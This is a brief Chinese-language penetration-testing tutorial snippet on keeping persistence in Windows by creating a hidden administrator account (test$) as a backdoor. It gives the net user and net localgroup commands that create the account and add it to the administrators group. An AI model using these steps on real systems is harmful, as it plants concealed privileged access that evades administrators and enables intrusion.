內網滲透-權限維持-Windows系統隱藏賬戶

手法簡介 通過建立隱藏賬戶，製作系統用戶遠程控制後門，維持Windows系統權限。 實施步驟 1.首先打開cmd，通過命令，創建一個名爲test$的隱藏賬戶，並且把該隱藏賬戶提升爲了管理員權限。 net user test$ test123! /add net localgroup administrators test$ /add 2.使用net user命令查看，發現是看不到test$用戶的。

>>阅读原文<<